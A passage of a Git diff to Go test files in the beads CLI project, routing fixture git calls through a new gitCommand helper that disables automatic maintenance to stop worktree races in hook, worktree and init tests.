gitTemplateErr = fmt.Errorf("git %v failed: %w", args, err) @@ -119,13 +118,13 @@ func TestNewGitRepo_UsesRepoLocalHooksPathDespiteGlobalConfig(t *testing.T) { t.Fatalf("failed to create fake global hooks dir: %v", err) } - setGlobal := exec.Command("git", "config", "--global", "core.hooksPath", globalHooks) + setGlobal := gitCommand("config", "--global", "core.hooksPath", globalHooks) if out, err := setGlobal.CombinedOutput(); err != nil { t.Fatalf("failed to set global core.hooksPath: %v (%s)", err, strings.TrimSpace(string(out))) } repoDir := newGitRepo(t) - getLocal := exec.Command("git", "config", "--get", "core.hooksPath") + getLocal := gitCommand("config", "--get", "core.hooksPath") getLocal.Dir = repoDir out, err := getLocal.CombinedOutput() if err != nil { diff --git a/cmd/bd/helpers_test.go b/cmd/bd/helpers_test.go index 32a4adb3b..c95edb961 100644 --- a/cmd/bd/helpers_test.go +++ b/cmd/bd/helpers_test.go @@ -1,6 +1,7 @@ package main import ( + "os/exec" "testing" "github.com/steveyegge/beads/internal/utils" @@ -62,3 +63,14 @@ func TestExtractPrefix(t *testing.T) { } } } + +// noAutoMaintenance keeps a fixture's git commit from spawning the detached +// "git maintenance run --auto" child whose worktree-prune races the fixture's +// next "git worktree add" (gastownhall/beads#7314, #7349). Flags ride the +// command line, never env config: the routing-key scrub drops env config. +var noAutoMaintenance = []string{"-c", "maintenance.auto=false", "-c", "gc.auto=0"} + +// gitCommand builds a git command for a fixture with noAutoMaintenance applied. +func gitCommand(args ...string) *exec.Cmd { + return exec.Command("git", append(append([]string{}, noAutoMaintenance...), args...)...) +} diff --git a/cmd/bd/hooks_export_staged_deletion_test.go b/cmd/bd/hooks_export_staged_deletion_test.go index 13fceb658..9c5eabfcd 100644 --- a/cmd/bd/hooks_export_staged_deletion_test.go +++ b/cmd/bd/hooks_export_staged_deletion_test.go @@ -7,7 +7,6 @@ package main import ( "os" - "os/exec" "path/filepath" "testing" ) @@ -22,7 +21,7 @@ func setupExportStagedDeletionRepo(t *testing.T) (repoDir, filePath string) { run := func(args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repoDir if out, err := cmd.CombinedOutput(); err != nil { t.Skipf("git %v failed: %v\n%s", args, err, out) @@ -47,7 +46,7 @@ func TestIsExportFileStagedForDeletion_StagedDeletion(t *testing.T) { run := func(args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -77,7 +76,7 @@ func TestIsExportFileStagedForDeletion_StagedModificationNotDeletion(t *testing. run := func(args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) diff --git a/cmd/bd/hooks_export_worktree_test.go b/cmd/bd/hooks_export_worktree_test.go index 8f8bfeb4c..ca4b59390 100644 --- a/cmd/bd/hooks_export_worktree_test.go +++ b/cmd/bd/hooks_export_worktree_test.go @@ -27,7 +27,7 @@ func mkdirs(t *testing.T, dirs ...string) { // scrubbed because the test process may itself be running under a git hook. func runGitForWorktreeTest(t *testing.T, dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir cmd.Env = scrubGitHookEnv(os.Environ()) if out, err := cmd.CombinedOutput(); err != nil { @@ -396,7 +396,7 @@ func readFileForWorktreeTest(t *testing.T, path string) string { // can tell "the hook staged this" from "the fixture did". func stagedPathsForWorktreeTest(t *testing.T, dir string) []string { t.Helper() - cmd := exec.Command("git", "diff", "--cached", "--name-only") + cmd := gitCommand("diff", "--cached", "--name-only") cmd.Dir = dir cmd.Env = scrubGitHookEnv(os.Environ()) out, err := cmd.CombinedOutput() diff --git a/cmd/bd/hooks_guard_test.go b/cmd/bd/hooks_guard_test.go index b06bc76b2..fff660273 100644 --- a/cmd/bd/hooks_guard_test.go +++ b/cmd/bd/hooks_guard_test.go @@ -17,7 +17,7 @@ import ( func TestGuardHookWritePathIgnoresInheritedGitRouting(t *testing.T) { runGit := func(repo string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repo cmd.Env = gitenv.ScrubRouting(os.Environ()) if out, err := cmd.CombinedOutput(); err != nil { @@ -64,7 +64,7 @@ func TestGuardHookWritePathIgnoresInheritedGitRouting(t *testing.T) { t.Setenv(key, value) } if tc.name == "both" { - probe := exec.Command("git", "-C", hooksDir, "ls-files", "--error-unmatch", "--", "pre-commit") + probe := gitCommand("-C", hooksDir, "ls-files", "--error-unmatch", "--", "pre-commit") out, err := probe.CombinedOutput() require.NoError(t, err, "inherited index must also prove tracking: %s", out) } @@ -109,7 +109,7 @@ func setupGuardTestRepo(t *testing.T) string { repoDir := t.TempDir() run := func(args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repoDir if out, err := cmd.CombinedOutput(); err != nil { t.Skipf("git %v failed: %v\n%s", args, err, out) @@ -197,7 +197,7 @@ func TestInstallHooksRefusesTrackedHook(t *testing.T) { {"commit", "-m", "add tracked hook"}, {"config", "core.hooksPath", "hooks"}, } { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repoDir if out, err := cmd.CombinedOutput(); err != nil { t.Skipf("git %v failed: %v\n%s", args, err, out) @@ -233,7 +233,7 @@ func TestInstallHooksAllowsTrackedBdOwnedHook(t *testing.T) { {"commit", "-m", "commit bd-managed hook"}, {"config", "core.hooksPath", "hooks"}, } { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repoDir if out, err := cmd.CombinedOutput(); err != nil { t.Skipf("git %v failed: %v\n%s", args, err, out) @@ -362,7 +362,7 @@ func TestInstallHooksRefusesTrackedExternalIntegrationHook(t *testing.T) { {"commit", "-m", "add tracked external integration hook"}, {"config", "core.hooksPath", "hooks"}, } { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repoDir if out, err := cmd.CombinedOutput(); err != nil { t.Skipf("git %v failed: %v\n%s", args, err, out) @@ -540,7 +540,7 @@ func TestGuardHookWritePathHonorsInheritedRepository(t *testing.T) { } runGit := func(args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repo if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v: %v\n%s", args, err, out) @@ -592,7 +592,7 @@ func TestGuardHookWritePathHonorsInheritedRepository(t *testing.T) { } inherited := os.Environ() args := []string{"-C", hooksDir, "ls-files", "--error-unmatch", "--", "pre-commit"} - clean := exec.Command("git", args...) + clean := gitCommand(args...) clean.Env = gitenv.ScrubRouting(inherited) out, cleanErr := clean.CombinedOutput() if cleanErr == nil { @@ -605,7 +605,7 @@ func TestGuardHookWritePathHonorsInheritedRepository(t *testing.T) { if exit, ok := cleanErr.(*exec.ExitError); ok && exit.ExitCode() == 1 { t.Fatalf("fixture must fail the scrubbed probe for a configuration reason, got exit 1: %s", out) } - fallback := exec.Command("git", args...) + fallback := gitCommand(args...) fallback.Env = inherited if out, err := fallback.CombinedOutput(); err != nil { t.Fatalf("inherited tracking precondition: %v\n%s", err, out) diff --git a/cmd/bd/hooks_worktree_test.go b/cmd/bd/hooks_worktree_test.go index 61617e124..42cea43e7 100644 --- a/cmd/bd/hooks_worktree_test.go +++ b/cmd/bd/hooks_worktree_test.go @@ -29,7 +29,7 @@ func TestConfigureBeadsHooksPath_WorktreeUsesMainRepo(t *testing.T) { } run := func(args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Skipf("git %v failed: %v", args, err) @@ -45,13 +45,13 @@ func TestConfigureBeadsHooksPath_WorktreeUsesMainRepo(t *testing.T) { run("commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Fatalf("git worktree add failed: %v", err) } t.Cleanup(func() { - cmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cmd := gitCommand("worktree", "remove", "--force", worktreeDir) cmd.Dir = mainRepoDir _ = cmd.Run() }) @@ -71,7 +71,7 @@ func TestConfigureBeadsHooksPath_WorktreeUsesMainRepo(t *testing.T) { t.Fatalf("configureBeadsHooksPath failed: %v", err) } - cmd = exec.Command("git", "config", "--get", "core.hooksPath") + cmd = gitCommand("config", "--get", "core.hooksPath") cmd.Dir = mainRepoDir out, err := cmd.Output() if err != nil { @@ -99,7 +99,7 @@ func TestConfigureSharedHooksPath_WorktreeUsesMainRepo(t *testing.T) { } run := func(args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Skipf("git %v failed: %v", args, err) @@ -115,13 +115,13 @@ func TestConfigureSharedHooksPath_WorktreeUsesMainRepo(t *testing.T) { run("commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Fatalf("git worktree add failed: %v", err) } t.Cleanup(func() { - cmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cmd := gitCommand("worktree", "remove", "--force", worktreeDir) cmd.Dir = mainRepoDir _ = cmd.Run() }) @@ -141,7 +141,7 @@ func TestConfigureSharedHooksPath_WorktreeUsesMainRepo(t *testing.T) { t.Fatalf("configureSharedHooksPath failed: %v", err) } - cmd = exec.Command("git", "config", "--get", "core.hooksPath") + cmd = gitCommand("config", "--get", "core.hooksPath") cmd.Dir = mainRepoDir out, err := cmd.Output() if err != nil { @@ -169,7 +169,7 @@ func TestResetHooksPathIfBeadsManaged_Worktree(t *testing.T) { } run := func(args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Skipf("git %v failed: %v", args, err) @@ -185,13 +185,13 @@ func TestResetHooksPathIfBeadsManaged_Worktree(t *testing.T) { run("commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Fatalf("git worktree add failed: %v", err) } t.Cleanup(func() { - cmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cmd := gitCommand("worktree", "remove", "--force", worktreeDir) cmd.Dir = mainRepoDir _ = cmd.Run() }) @@ -205,7 +205,7 @@ func TestResetHooksPathIfBeadsManaged_Worktree(t *testing.T) { if evaluated != "" { hooksPathToSet = evaluated } - cmd = exec.Command("git", "config", "core.hooksPath", hooksPathToSet) + cmd = gitCommand("config", "core.hooksPath", hooksPathToSet) cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Fatalf("git config core.hooksPath failed: %v", err) @@ -213,12 +213,12 @@ func TestResetHooksPathIfBeadsManaged_Worktree(t *testing.T) { run("config", "beads.role", "primary") run("config", "extensions.worktreeConfig", "true") - cmd = exec.Command("git", "config", "--worktree", "beads.role", "worktree-only") + cmd = gitCommand("config", "--worktree", "beads.role", "worktree-only") cmd.Dir = worktreeDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("configure worktree role: %v\n%s", err, out) } - cmd = exec.Command("git", "config", "--worktree", "core.hooksPath", ".beads/hooks") + cmd = gitCommand("config", "--worktree", "core.hooksPath", ".beads/hooks") cmd.Dir = worktreeDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("configure worktree hooksPath: %v\n%s", err, out) @@ -235,25 +235,25 @@ func TestResetHooksPathIfBeadsManaged_Worktree(t *testing.T) { t.Fatalf("resetHooksPathIfBeadsManaged failed: %v", err) } - cmd = exec.Command("git", "config", "--local", "--get", "core.hooksPath") + cmd = gitCommand("config", "--local", "--get", "core.hooksPath") cmd.Dir = mainRepoDir out, _ := cmd.Output() if strings.TrimSpace(string(out)) != "" { t.Errorf("core.hooksPath = %q after reset, want empty", strings.TrimSpace(string(out))) } - cmd = exec.Command("git", "config", "--local", "--get", "beads.role") + cmd = gitCommand("config", "--local", "--get", "beads.role") cmd.Dir = mainRepoDir out, err = cmd.Output() if exit, ok := err.(*exec.ExitError); !ok || exit.ExitCode() != 1 { t.Errorf("main role remains after reset: %q, %v", out, err) } - cmd = exec.Command("git", "config", "--worktree", "--get", "beads.role") + cmd = gitCommand("config", "--worktree", "--get", "beads.role") cmd.Dir = worktreeDir out, err = cmd.Output() if err != nil || strings.TrimSpace(string(out)) != "worktree-only" { t.Errorf("worktree-specific role changed: %q, %v", out, err) } - cmd = exec.Command("git", "config", "--worktree", "--get", "core.hooksPath") + cmd = gitCommand("config", "--worktree", "--get", "core.hooksPath") cmd.Dir = worktreeDir out, err = cmd.Output() if err != nil || strings.TrimSpace(string(out)) != ".beads/hooks" { @@ -279,7 +279,7 @@ func TestResetHooksPathIfBeadsManaged_Worktree(t *testing.T) { if after, err := os.ReadFile(privateConfig); err != nil || string(after) != string(before) { t.Fatalf("private worktree config changed: %v", err) } - get := exec.Command("git", "config", "--local", "--get", "beads.role") + get := gitCommand("config", "--local", "--get", "beads.role") get.Dir = mainRepoDir out, err := get.Output() if exit, ok := err.(*exec.ExitError); !ok || exit.ExitCode() != 1 { @@ -301,7 +301,7 @@ func TestConfigureBeadsHooksPath_NormalRepoUnchanged(t *testing.T) { } run := func(args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repoDir if err := cmd.Run(); err != nil { t.Skipf("git %v failed: %v", args, err) @@ -331,7 +331,7 @@ func TestConfigureBeadsHooksPath_NormalRepoUnchanged(t *testing.T) { t.Fatalf("configureBeadsHooksPath failed: %v", err) } - cmd := exec.Command("git", "config", "--get", "core.hooksPath") + cmd := gitCommand("config", "--get", "core.hooksPath") cmd.Dir = repoDir out, err := cmd.Output() if err != nil { @@ -569,7 +569,7 @@ func TestStandaloneHookCommandsUseSelectedContext(t *testing.T) { require.NoError(t, hooksUninstallCmd.RunE(hooksUninstallCmd, nil)) _, err := os.Stat(filepath.Join(destination, "pre-commit")) require.ErrorIs(t, err, os.ErrNotExist) - query := exec.Command("git", "--git-dir", common, "config", "--local", "--get", "beads.role") + query := gitCommand("--git-dir", common, "config", "--local", "--get", "beads.role") query.Dir, query.Env = cwd, gitenv.ScrubRouting(os.Environ()) var exit *exec.ExitError require.ErrorAs(t, query.Run(), &exit) @@ -580,7 +580,7 @@ func TestStandaloneHookCommandsUseSelectedContext(t *testing.T) { // configured keeps .git/hooks shadowed by an emptied directory, // i.e. every hook silently disabled while beads-managed config is // still installed — the GH#4440 contract this command enforces. - pathQuery := exec.Command("git", "--git-dir", common, "config", "--local", "--get", "core.hooksPath") + pathQuery := gitCommand("--git-dir", common, "config", "--local", "--get", "core.hooksPath") pathQuery.Dir, pathQuery.Env = cwd, gitenv.ScrubRouting(os.Environ()) var pathExit *exec.ExitError require.ErrorAs(t, pathQuery.Run(), &pathExit) diff --git a/cmd/bd/init_cancel_e2e_test.go b/cmd/bd/init_cancel_e2e_test.go index a7842bc65..6e8b80a2f 100644 --- a/cmd/bd/init_cancel_e2e_test.go +++ b/cmd/bd/init_cancel_e2e_test.go @@ -142,7 +142,7 @@ func TestInitCancel_E2E(t *testing.T) { func runGitCmd(t *testing.T, dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir output, err := cmd.CombinedOutput() if err != nil { diff --git a/cmd/bd/init_embedded_test.go b/cmd/bd/init_embedded_test.go index cfc9d0c8a..0c4963000 100644 --- a/cmd/bd/init_embedded_test.go +++ b/cmd/bd/init_embedded_test.go @@ -480,14 +480,14 @@ func TestEmbeddedInitA(t *testing.T) { if err := os.MkdirAll(bareRepo, 0755); err != nil { t.Fatalf("mkdir %s: %v", bareRepo, err) } - cmd := exec.Command("git", "init", "--bare") + cmd := gitCommand("init", "--bare") cmd.Dir = bareRepo if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git init --bare %s failed: %v\n%s", bareRepo, err, out) } } for name, url := range map[string]string{"origin": origin, "upstream": upstream} { - cmd := exec.Command("git", "remote", "add", name, url) + cmd := gitCommand("remote", "add", name, url) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git remote add %s failed: %v\n%s", name, err, out) @@ -522,7 +522,7 @@ func TestEmbeddedInitA(t *testing.T) { t.Errorf("planning embeddeddolt dir missing (planning store not pre-initialized): %v", err) } - roleCmd := exec.Command("git", "config", "--get", "beads.role") + roleCmd := gitCommand("config", "--get", "beads.role") roleCmd.Dir = dir roleOut, err := roleCmd.Output() if err != nil { @@ -565,7 +565,7 @@ func TestEmbeddedInitA(t *testing.T) { } bdDolt(t, bd, dir, "push") - ls := exec.Command("git", "ls-remote", remoteURL, "refs/dolt/data") + ls := gitCommand("ls-remote", remoteURL, "refs/dolt/data") lsOut, err := ls.CombinedOutput() if err != nil { t.Fatalf("git ls-remote refs/dolt/data failed: %v\n%s", err, lsOut) @@ -607,7 +607,7 @@ func TestEmbeddedInitA(t *testing.T) { if readErr == nil && strings.Contains(string(configYAML), remoteURL) { t.Errorf("refused push still persisted sync.remote; config.yaml:\n%s", configYAML) } - if lsOut, lsErr := exec.Command("git", "ls-remote", remoteURL, "refs/dolt/data").Output(); lsErr == nil && len(strings.TrimSpace(string(lsOut))) != 0 { + if lsOut, lsErr := gitCommand("ls-remote", remoteURL, "refs/dolt/data").Output(); lsErr == nil && len(strings.TrimSpace(string(lsOut))) != 0 { t.Errorf("refused push still uploaded issue history: %s", lsOut) } } @@ -646,7 +646,7 @@ func TestEmbeddedInitA(t *testing.T) { t.Fatalf("bd dolt push should persist sync.remote; config.yaml:\n%s", configYAML) } - ls := exec.Command("git", "ls-remote", remoteURL, "refs/dolt/data") + ls := gitCommand("ls-remote", remoteURL, "refs/dolt/data") lsOut, err := ls.CombinedOutput() if err != nil { t.Fatalf("git ls-remote refs/dolt/data failed: %v\n%s", err, lsOut) @@ -940,7 +940,7 @@ func TestEmbeddedInitB(t *testing.T) { {"add", "-A"}, {"commit", "-m", "baseline"}, } { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %s failed: %v\n%s", args[0], err, out) @@ -970,7 +970,7 @@ func TestEmbeddedInitB(t *testing.T) { } // git status --porcelain must be empty: stealth touched no visible files. - cmd := exec.Command("git", "-c", "core.hooksPath=", "status", "--porcelain") + cmd := gitCommand("-c", "core.hooksPath=", "status", "--porcelain") cmd.Dir = dir out, err := cmd.CombinedOutput() if err != nil { @@ -1017,7 +1017,7 @@ func TestEmbeddedInitB(t *testing.T) { t.Logf("bd doctor --fix exited non-zero (tolerated): %v\n%s", err, out) } - statusCmd := exec.Command("git", "-c", "core.hooksPath=", "status", "--porcelain") + statusCmd := gitCommand("-c", "core.hooksPath=", "status", "--porcelain") statusCmd.Dir = dir out, err := statusCmd.CombinedOutput() if err != nil { @@ -1094,7 +1094,7 @@ func TestEmbeddedInitB(t *testing.T) { if err := os.WriteFile(hookPath, []byte(hook), 0755); err != nil { t.Fatal(err) } - unsetHooksPath := exec.Command("git", "config", "--unset", "core.hooksPath") + unsetHooksPath := gitCommand("config", "--unset", "core.hooksPath") unsetHooksPath.Dir = dir if out, err := unsetHooksPath.CombinedOutput(); err != nil { t.Fatalf("git config --unset core.hooksPath failed: %v\n%s", err, out) @@ -1124,7 +1124,7 @@ func TestEmbeddedInitB(t *testing.T) { if _, err := os.Stat(filepath.Join(dir, ".hook-ran")); err == nil { t.Fatal("expected init auto-commit to bypass git hooks") } - logCmd := exec.Command("git", "log", "--oneline", "-n", "1") + logCmd := gitCommand("log", "--oneline", "-n", "1") logCmd.Dir = dir stdout, stderr, err := runCommandBuffers(t, logCmd) if err != nil { @@ -1717,7 +1717,7 @@ func TestEmbeddedInitArtifactRouting(t *testing.T) { if err != nil { t.Fatal(err) } - show := exec.Command("git", "show", "HEAD:.beads/metadata.json") + show := gitCommand("show", "HEAD:.beads/metadata.json") show.Dir, show.Env = target, gitenv.ScrubRouting(os.Environ()) if got, err := show.CombinedOutput(); err != nil || !bytes.Equal(got, want) { t.Errorf("embedded init did not commit target metadata: %v: %s", err, got) diff --git a/cmd/bd/init_git_bootstrap_routing_test.go b/cmd/bd/init_git_bootstrap_routing_test.go index 3984c035a..4d3d421ab 100644 --- a/cmd/bd/init_git_bootstrap_routing_test.go +++ b/cmd/bd/init_git_bootstrap_routing_test.go @@ -2,7 +2,6 @@ package main import ( "os" - "os/exec" "path/filepath" "strings" "testing" @@ -26,7 +25,7 @@ import ( // silently. func TestInitGitBootstrapProbeWidensPastLegitimateCeiling(t *testing.T) { ancestor := t.TempDir() - initRepo := exec.Command("git", "init", "--quiet") + initRepo := gitCommand("init", "--quiet") initRepo.Dir = ancestor initRepo.Env = gitenv.ScrubRouting(os.Environ()) if out, err := initRepo.CombinedOutput(); err != nil { @@ -50,7 +49,7 @@ func TestInitGitBootstrapProbeWidensPastLegitimateCeiling(t *testing.T) { // Control: identical environment except the ceiling is left in place, which is what the // probe did before this change. It must fail — otherwise the ceiling never bit and the // assertion below would pass for the wrong reason. - fenced := exec.Command("git", "-C", project, "rev-parse", "--git-dir") + fenced := gitCommand("-C", project, "rev-parse", "--git-dir") fenced.Env = append(gitenv.ScrubRouting(os.Environ()), "GIT_CEILING_DIRECTORIES="+ceiling) if out, ferr := fenced.Output(); ferr == nil { t.Fatalf("ceiling %q did not fence off %q (git found %q); this case cannot prove the widening", diff --git a/cmd/bd/init_hooks_test.go b/cmd/bd/init_hooks_test.go index 759f7535f..225594d54 100644 --- a/cmd/bd/init_hooks_test.go +++ b/cmd/bd/init_hooks_test.go @@ -3,7 +3,6 @@ package main import ( "fmt" "os" - "os/exec" "path/filepath" "strings" "testing" @@ -795,7 +794,7 @@ func TestConfigureBeadsHooksPath_AbsolutePath(t *testing.T) { } // Read back core.hooksPath - out, err := exec.Command("git", "config", "--get", "core.hooksPath").Output() + out, err := gitCommand("config", "--get", "core.hooksPath").Output() if err != nil { t.Fatalf("git config --get core.hooksPath failed: %v", err) } @@ -827,7 +826,7 @@ func TestInstallHooksBeads_WorktreeAccess(t *testing.T) { t.Fatalf("Failed to create metadata.json: %v", err) } - cmd := exec.Command("git", "commit", "--allow-empty", "--no-verify", "-m", "init") + cmd := gitCommand("commit", "--allow-empty", "--no-verify", "-m", "init") cmd.Dir = tmpDir if output, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git commit failed: %v\n%s", err, string(output)) @@ -847,7 +846,7 @@ func TestInstallHooksBeads_WorktreeAccess(t *testing.T) { } // Read core.hooksPath and verify it's absolute - out, err := exec.Command("git", "config", "--get", "core.hooksPath").Output() + out, err := gitCommand("config", "--get", "core.hooksPath").Output() if err != nil { t.Fatalf("core.hooksPath not set after --beads install: %v", err) } @@ -858,17 +857,17 @@ func TestInstallHooksBeads_WorktreeAccess(t *testing.T) { // Create a worktree and verify hooks are accessible from it worktreeDir := filepath.Join(t.TempDir(), "worktree") - cmd = exec.Command("git", "worktree", "add", worktreeDir, "-b", "test-worktree") + cmd = gitCommand("worktree", "add", worktreeDir, "-b", "test-worktree") cmd.Dir = tmpDir if output, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, string(output)) } defer func() { - exec.Command("git", "worktree", "remove", worktreeDir).Run() + gitCommand("worktree", "remove", worktreeDir).Run() }() // From the worktree, core.hooksPath should resolve to the same hooks - cmd = exec.Command("git", "config", "--get", "core.hooksPath") + cmd = gitCommand("config", "--get", "core.hooksPath") cmd.Dir = worktreeDir wtOut, err := cmd.Output() if err != nil { @@ -924,14 +923,14 @@ func TestInstallHooksBeads_PreservesGlobalHooks(t *testing.T) { t.Fatalf("failed to write global pre-commit hook: %v", err) } - setGlobal := exec.Command("git", "config", "--global", "core.hooksPath", globalHooksDir) + setGlobal := gitCommand("config", "--global", "core.hooksPath", globalHooksDir) if out, err := setGlobal.CombinedOutput(); err != nil { t.Fatalf("failed to set global core.hooksPath: %v (%s)", err, strings.TrimSpace(string(out))) } // Manual repo init (can't use newGitRepo which sets a local core.hooksPath). repoDir := t.TempDir() - initCmd := exec.Command("git", "init", "--initial-branch=main") + initCmd := gitCommand("init", "--initial-branch=main") initCmd.Dir = repoDir if err := initCmd.Run(); err != nil { t.Fatalf("git init failed: %v", err) @@ -940,7 +939,7 @@ func TestInstallHooksBeads_PreservesGlobalHooks(t *testing.T) { {"config", "user.email", "test@test.com"}, {"config", "user.name", "Test User"}, } { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repoDir if err := cmd.Run(); err != nil { t.Fatalf("git config %v failed: %v", args, err) @@ -987,7 +986,7 @@ func TestInstallHooksBeads_PreservesDefaultGitHooks(t *testing.T) { } // Unset the local core.hooksPath that newGitRepo sets so git falls back to .git/hooks/. - exec.Command("git", "config", "--unset", "core.hooksPath").Run() + gitCommand("config", "--unset", "core.hooksPath").Run() beadsDir := setupBeadsDir(t, repoDir) @@ -1202,13 +1201,13 @@ func TestInstallHooksBeads_HuskyV8Helper(t *testing.T) { } // Set as global hooks path (simulating husky v8) - setGlobal := exec.Command("git", "config", "--global", "core.hooksPath", huskyDir) + setGlobal := gitCommand("config", "--global", "core.hooksPath", huskyDir) if out, err := setGlobal.CombinedOutput(); err != nil { t.Fatalf("set global core.hooksPath: %v (%s)", err, strings.TrimSpace(string(out))) } repoDir := t.TempDir() - initCmd := exec.Command("git", "init", "--initial-branch=main") + initCmd := gitCommand("init", "--initial-branch=main") initCmd.Dir = repoDir if err := initCmd.Run(); err != nil { t.Fatalf("git init: %v", err) @@ -1217,7 +1216,7 @@ func TestInstallHooksBeads_HuskyV8Helper(t *testing.T) { {"config", "user.email", "test@test.com"}, {"config", "user.name", "Test"}, } { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repoDir if err := cmd.Run(); err != nil { t.Fatalf("git config %v: %v", args, err) @@ -1308,13 +1307,13 @@ s=$(dirname "$(dirname "$0")")/$n } // Set core.hooksPath to .husky/_/ (husky v9 style) - setGlobal := exec.Command("git", "config", "--global", "core.hooksPath", huskyInner) + setGlobal := gitCommand("config", "--global", "core.hooksPath", huskyInner) if out, err := setGlobal.CombinedOutput(); err != nil { t.Fatalf("set global core.hooksPath: %v (%s)", err, strings.TrimSpace(string(out))) } repoDir := t.TempDir() - initCmd := exec.Command("git", "init", "--initial-branch=main") + initCmd := gitCommand("init", "--initial-branch=main") initCmd.Dir = repoDir if err := initCmd.Run(); err != nil { t.Fatalf("git init: %v", err) @@ -1323,7 +1322,7 @@ s=$(dirname "$(dirname "$0")")/$n {"config", "user.email", "test@test.com"}, {"config", "user.name", "Test"}, } { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repoDir if err := cmd.Run(); err != nil { t.Fatalf("git config %v: %v", args, err) diff --git a/cmd/bd/init_proxied_server_test.go b/cmd/bd/init_proxied_server_test.go index fbfff93ee..14617bb9f 100644 --- a/cmd/bd/init_proxied_server_test.go +++ b/cmd/bd/init_proxied_server_test.go @@ -4,7 +4,6 @@ import ( "context" "encoding/json" "os" - "os/exec" "path/filepath" "runtime" "slices" @@ -34,7 +33,7 @@ func TestProxiedInitRemoteURLUsesSelectedProject(t *testing.T) { } runGit := func(t *testing.T, dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir, cmd.Env = dir, gitenv.ScrubRouting(os.Environ()) out, err := cmd.CombinedOutput() require.NoError(t, err, "fixture git %v: %s", args, out) @@ -105,7 +104,7 @@ func TestProxiedInitRemoteURLUsesSelectedProject(t *testing.T) { t.Setenv("GIT_CONFIG_COUNT", "1") t.Setenv("GIT_CONFIG_KEY_0", "url.file:///inline-origin.insteadOf") t.Setenv("GIT_CONFIG_VALUE_0", selectedURL) - probe := exec.Command("git", "remote", "get-url", "origin") + probe := gitCommand("remote", "get-url", "origin") probe.Dir = target // Prove this row distinguishes inherited inline config. out, err := probe.CombinedOutput() require.NoError(t, err, "%s", out) @@ -379,7 +378,7 @@ func TestProxiedInitTailRoleIgnoresInheritedGitRouting(t *testing.T) { require.NoError(t, os.WriteFile(globalPath, nil, 0600)) runGit := func(t *testing.T, dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir, cmd.Env = dir, gitenv.ScrubRouting(os.Environ()) out, err := cmd.CombinedOutput() require.NoError(t, err, "fixture git %v: %s", args, out) @@ -455,7 +454,7 @@ func TestProxiedInitTailRoleProbeUsesSelectedDirectory(t *testing.T) { t.Setenv("GIT_CONFIG_NOSYSTEM", "1") runGit := func(t *testing.T, dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir, cmd.Env = dir, gitenv.ScrubRouting(os.Environ()) out, err := cmd.CombinedOutput() require.NoError(t, err, "fixture git %v: %s", args, out) @@ -496,7 +495,7 @@ func TestProxiedInitTailRoleProbeUsesSelectedDirectory(t *testing.T) { if tc.initial != "" { runGit(t, target, "config", "--local", "beads.role", tc.initial) } - probe := exec.Command("git", "rev-parse", "--git-dir") + probe := gitCommand("rev-parse", 